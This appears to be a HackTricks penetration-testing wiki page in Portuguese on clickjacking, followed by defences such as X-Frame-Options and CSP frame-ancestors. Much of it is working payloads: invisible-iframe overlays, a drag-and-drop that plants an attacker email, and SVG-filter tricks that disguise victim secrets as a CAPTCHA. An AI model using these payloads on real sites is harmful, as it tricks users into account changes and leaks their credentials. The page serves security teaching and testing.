Clickjacking

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks

O que é Clickjacking

Num ataque de clickjacking, um usuário é enganado para clicar num elemento numa página web que está ou invisível ou disfarçado como outro elemento. Essa manipulação pode levar a consequências não intencionais para o usuário, como o download de malware, redirecionamento para páginas maliciosas, fornecimento de credenciais ou informações sensíveis, transferências de dinheiro ou a compra online de produtos.

Às vezes é possível preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar o payload de clickjacking para que o usuário pressione o botão Submit.

Preencher formulário com Drag&Drop

Se você precisar que o usuário preencha um formulário mas não quiser pedir diretamente que ele escreva alguma informação específica (como o email e/ou uma senha específica que você conhece), você pode simplesmente pedir que ele Drag&Drop algo que irá inserir os seus dados controlados, como em este exemplo.

Payload básico

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload em múltiplas etapas

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Arrastar e Soltar + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Se você identificou um XSS que requer que o usuário clique em algum elemento para disparar o XSS e a página é vulnerável a Clickjacking, você pode abusar disso para enganar o usuário a clicar no botão/link.
Exemplo:
Você encontrou um self XSS em alguns detalhes privados da conta (detalhes que só você pode definir e ler). A página com o formulário para definir esses detalhes é vulnerável a Clickjacking e você pode pré-preencher o formulário com os GET parameters.
Um atacante poderia preparar um ataque de Clickjacking para essa página pré-preenchendo o formulário com o XSS payload e enganando o usuário para enviar o formulário. Assim, quando o formulário for submetido e os valores forem modificados, o usuário executará o XSS.

DoubleClickjacking

Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

Esta técnica permite enganar o usuário para clicar em um único local na página da vítima, contornando todas as proteções contra Clickjacking. Portanto, o atacante precisa encontrar ações sensíveis que possam ser realizadas com apenas 1 clique, como prompts OAuth que aceitam permissões.

Some PoCs abandon iframes entirely and keep a background popup aligned under the cursor. The attacker page tracks mousemove and uses a small popup (window.open) that is moved with moveTo() while it is same-origin; once aligned, it is redirected back to the target origin so the next click lands on the real button. Because cross‑origin moveTo() is blocked, the popup is briefly navigated to an attacker origin for repositioning, then location/history.back() returns to the target. To surface the target at click time, the attacker can re‑open the popup with the same window name to bring it to the foreground without changing the URL.

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

Versões modernas do Chromium/WebKit/Gecko permitem que a propriedade CSS filter:url(#id) seja aplicada a cross-origin iframes. Os pixels rasterizados do iframe são expostos ao grafo de filtros SVG como SourceGraphic, de modo que primitivos como feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. podem deformar arbitrariamente a interface da vítima antes que o usuário a veja, mesmo que o atacante nunca toque no DOM. Um simples filtro no estilo Liquid-Glass fica assim:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Primitivas úteis: feImage carrega bitmaps do atacante (por exemplo, overlays, displacement maps); feFlood cria mattes de cor constante; feOffset/feGaussianBlur refinam realces; feDisplacementMap refrata/deforma texto; feComposite operator="arithmetic" implementa matemática arbitrária por canal (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), o que é suficiente para aumento de contraste, mascaramento e operações AND/OR; feTile recorta e replica sondas de pixel; feMorphology cresce/encolhe traços; feColorMatrix move luma para alpha para construir máscaras precisas.

Distorcendo segredos em prompts no estilo CAPTCHA

Se um endpoint framable renderiza segredos (tokens, reset codes, API keys), o atacante pode distorcê‑los de modo que se pareçam com um CAPTCHA e coagir a transcrição manual:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Os pixels distorcidos enganam o usuário fazendo-o “resolver” o captcha dentro do <input> controlado pelo atacante, cujo pattern impõe o verdadeiro segredo da vítima.

Recontextualizando entradas da vítima

Filtros podem excluir cirurgicamente o texto de placeholder/validação enquanto preservam as teclas digitadas pelo usuário. Um fluxo de trabalho:

  1. feComposite operator="arithmetic" k2≈4 amplifica o brilho para que o texto auxiliar cinza sature em branco.
  2. feTile limita a área de trabalho ao retângulo do input.
  3. feMorphology operator="erode" espessa os glifos escuros digitados pela vítima e os armazena via result="thick".
  4. feFlood cria uma placa branca, feBlend mode="difference" com thick, e um segundo feComposite k2≈100 a transforma em uma máscara de luma forte.
  5. feColorMatrix move essa luma para o alpha, e feComposite in="SourceGraphic" operator="in" mantém apenas os glifos inseridos pelo usuário.
  6. Outro feBlend in2="white" mais um corte fino gera uma caixa de texto limpa, após a qual o atacante sobrepõe seus próprios labels HTML (por exemplo, “Insira seu email”) enquanto o iframe oculto ainda impõe a política de senha da origem da vítima.

Safari tem dificuldades com feTile; o mesmo efeito pode ser reproduzido com máscaras espaciais construídas a partir de feFlood + feColorMatrix + feComposite para payloads apenas WebKit.

Sondas de pixels, lógica e máquinas de estado

Ao recortar uma região de 2–4 px com feTile e repeti-la para 100% do viewport, o atacante transforma a cor amostrada em uma textura de quadro completo que pode ser limiarizada em uma máscara booleana:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Para cores arbitrárias, uma referência feFlood (por exemplo, #0B57D0) mais feBlend mode="difference" e outro composite aritmético (k2≈100, k4 como tolerância) produz branco apenas quando o pixel amostrado corresponde à tonalidade alvo. Alimentar essas máscaras em feComposite com k1..k4 ajustados gera portas lógicas: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending contra branco. Encadear portas constrói um full adder dentro do grafo de filtro, provando que o pipeline é funcionalmente completo.

Portanto, atacantes podem ler o estado da UI sem JavaScript. Exemplos de booleanos de um fluxo modal:

  • D (dialog visible): sondar um canto escurecido e testar contra branco.
  • L (dialog loaded): sondar as coordenadas onde o botão aparece quando pronto.
  • C (checkbox checked): comparar o pixel da checkbox com o azul ativo #0B57D0.
  • R (red success/failure banner): usar feMorphology e limiares vermelhos dentro do retângulo do banner.

Cada estado detectado aciona um bitmap de overlay diferente embutido via feImage xlink:href="data:...". Mascarar esses bitmaps com D, L, C, R mantém os overlays sincronizados com o diálogo real e guia a vítima por fluxos de trabalho de múltiplas etapas (redefinições de senha, aprovações, confirmações destrutivas) sem jamais expor o DOM.

Diálogo Basic Auth em iframe sandboxed (sem allow-popups)

Um iframe sandboxed sem allow-popups ainda pode exibir um navegador-controlado HTTP Basic Authentication modal quando um load retorna 401 com WWW-Authenticate. O diálogo é gerado pela camada de rede/autenticação do navegador (não pelos JS alert/prompt/confirm), então restrições de popup no sandbox não o suprimem. Se você puder controlar o iframe via script (por exemplo, sandbox="allow-scripts"), pode navegá-lo para qualquer endpoint que emita um Basic Auth challenge:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Uma vez que a resposta chega, o navegador solicita credenciais mesmo que popups sejam proibidos. Emoldurar uma origem confiável com esse truque permite UI redress/phishing: prompts modais inesperados dentro de um widget “sandboxed” podem confundir usuários ou acionar gerenciadores de senhas para oferecer credenciais armazenadas.

Extensões do navegador: DOM-based autofill clickjacking

Além de iframar páginas da vítima, atacantes podem mirar em elementos de UI de extensões do navegador que são injetados na página. Gerenciadores de senha exibem dropdowns de autofill próximos aos inputs com foco; ao focar um campo controlado pelo atacante e esconder/obstruir o dropdown da extensão (truques de opacidade/sobreposição/camada superior), um clique coagido do usuário pode selecionar um item armazenado e preencher dados sensíveis em inputs controlados pelo atacante. Esta variante não requer exposição por iframe e funciona inteiramente via manipulação do DOM/CSS.

Um caso real: a Dashlane divulgou um problema de clickjacking em diálogo de passkey (Aug 2025) onde XSS no domínio do relying-party permitiu que um atacante sobrepusesse HTML sobre o diálogo de passkey da extensão. Um clique no elemento do atacante prosseguia com o login legítimo por passkey (a própria passkey não é exposta), efetivamente transformando um UI-redress em acesso à conta se o RP já for vulnerável à injeção de script.

Estratégias para Mitigar Clickjacking

Defesas do Lado do Cliente

Scripts executados no lado do cliente podem realizar ações para prevenir Clickjacking:

  • Garantir que a janela da aplicação seja a janela principal ou de topo.
  • Tornar todos os frames visíveis.
  • Prevenir cliques em frames invisíveis.
  • Detectar e alertar os usuários sobre possíveis tentativas de Clickjacking.

No entanto, esses scripts de frame-busting podem ser contornados:

  • Configurações de Segurança dos Navegadores: Alguns navegadores podem bloquear esses scripts com base nas suas configurações de segurança ou na falta de suporte a JavaScript.
  • Atributo sandbox do iframe HTML5: Um atacante pode neutralizar scripts de frame-buster definindo o atributo sandbox com os valores allow-forms ou allow-scripts sem allow-top-navigation. Isso impede que o iframe verifique se é a janela de topo, e.g.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Os valores allow-forms e allow-scripts permitem ações dentro do iframe enquanto desativam a navegação no nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como allow-same-origin e allow-modals podem ser necessárias, dependendo do tipo de ataque. As mensagens do console do navegador podem indicar quais permissões permitir.

Defesas do Lado do Servidor

X-Frame-Options

O X-Frame-Options HTTP response header informa aos navegadores sobre a legitimidade de renderizar uma página em um <frame> ou <iframe>, ajudando a prevenir Clickjacking:

  • X-Frame-Options: deny - Nenhum domínio pode emoldurar o conteúdo.
  • X-Frame-Options: sameorigin - Apenas o site atual pode emoldurar o conteúdo.
  • X-Frame-Options: allow-from https://trusted.com - Apenas o ‘uri’ especificado pode emoldurar a página.
  • Observe as limitações: se o navegador não suportar essa diretiva, ela pode não funcionar. Alguns navegadores preferem a diretiva frame-ancestors do CSP.

Content Security Policy (CSP) frame-ancestors directive

A diretiva frame-ancestors no CSP é o método recomendado para proteção contra Clickjacking:

  • frame-ancestors 'none' - Similar a X-Frame-Options: deny.
  • frame-ancestors 'self' - Similar a X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Similar a X-Frame-Options: allow-from.

Por exemplo, a seguinte CSP permite emoldurar apenas a partir do mesmo domínio:

Content-Security-Policy: frame-ancestors 'self';

Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) é uma medida de segurança que ajuda a prevenir Clickjacking e outros ataques de injeção de código, especificando quais fontes o navegador deve permitir para carregar conteúdo.

frame-src Directive

  • Define fontes válidas para frames.
  • Mais específico que a diretiva default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Esta política permite frames da mesma origem (self) e https://trusted-website.com.

child-src Diretiva

  • Introduzida no nível 2 do CSP para definir fontes válidas para web workers e frames.
  • Atua como fallback para frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.

Notas de Uso:

  • Depreciação: child-src está sendo descontinuado em favor de frame-src e worker-src.
  • Comportamento de fallback: Se frame-src estiver ausente, child-src é usado como fallback para frames. Se ambos estiverem ausentes, default-src é usado.
  • Definição estrita de fontes: Inclua apenas fontes confiáveis nas diretivas para evitar exploração.

JavaScript Frame-Breaking Scripts

Embora não sejam completamente infalíveis, JavaScript-based frame-busting scripts podem ser usados para impedir que uma página web seja emoldurada. Exemplo:

if (top !== self) {
top.location = self.location
}

Empregando Anti-CSRF Tokens

  • Token Validation: Use anti-CSRF tokens em aplicações web para garantir que requisições que alteram estado sejam feitas intencionalmente pelo usuário e não através de uma página Clickjacked.

Referências

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks